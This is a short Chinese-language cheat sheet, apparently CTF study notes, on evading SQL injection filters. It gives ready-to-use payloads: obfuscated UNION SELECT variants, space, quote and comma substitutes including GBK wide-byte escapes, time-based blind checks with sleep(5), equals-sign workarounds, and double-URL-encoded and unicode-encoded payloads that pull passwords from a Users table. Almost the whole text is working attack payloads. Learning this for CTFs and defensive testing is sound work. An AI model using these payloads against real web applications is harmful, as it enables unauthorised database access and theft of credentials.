SQL注入中的繞過
一.對於關鍵字的繞過
- 注釋符繞過:
uni/**/on se/**/lect - 大小寫繞過:
UniOn SeleCt - 雙關鍵字繞過:
ununionion seselectlect - <>繞過:
unio<>n sel<>ect(可能是有些網站為了防止xss注入,所以過濾了<>,參照i春秋sql) - 對於and,or的繞過其實還可以嘗試一下&&,||,異或注入
這里需要注意一點就是or被過濾的時候order,information中的or也被過濾了
二.對特殊字符的繞過
- 對空格的繞過:
兩個空格代替一個,用tab鍵代替空格 `/**/ %20 %09 %0a` 利用空格繞過:很多關鍵字都可以寫成帶括號的形式select(),or() 特殊函數中的空格繞過:ascii(mid(xxfrom(1))) ascii(substr(xxfrom(1)))
-
對單引號的繞過:
寬字節 %bf%27 %df%27 %aa%27(爭對字符集為GBK時使用
十六進制繞過(針對需要輸入表名的時候 'user'=>0x7573657273) -
對逗號的繞過:
substr(x,1,1),mid(x,1,1)=>substr(x from 1 for 1) mid(x from 1 for 1) limit 0,1=> limit 0 offset 1 join(本身是用來連接兩個表單的,所以join一定是要放在from后面放表單的位置): union select 1,2 => union select * from (select 1)a join (select 2)b select case when (條件) then (代碼1) else (代碼2) end 可以對應上if(條件,代碼1,代碼2) if(substring((select user()) from 1 for 1)='e',sleep(5),1) 可以變為 select case when substring((select user()) from 1 for 1)='e' then sleep(5) else 1 end
-
等號的繞過:
利用<>(即不等於號)繞過 利用like繞過 利用greatest()繞過(greatest(a,b)返回較大的那個數) ?id=' or 1 like 1 ?id=' or 1 <> 1 ?id=' union select greatest(substr((select user()),1,1),95)
三.其他類型的繞過
- 編碼繞過:
* 雙重url編碼:?id=1%252f%252aUNION%252f%252aSELECT%252f%252a1,2,password%252f%252aFROM%252f%252a/Users--+ * unicode編碼:'=> %u0037 %u02b9 空格=> %u0020 %uff00 左括號=> %u0028 %uff08 右括號=> %u0029 %uff09
- 相同字符的繞過:
題目中有是可能會出現一種情況:
它不允許出現某個字符串,但是在數據庫中又確實存在這個字符串,再加之mysql與php的編碼字符集不相同,便可以利用相似的字符將其繞過

可以參考的題目百度杯十月場look
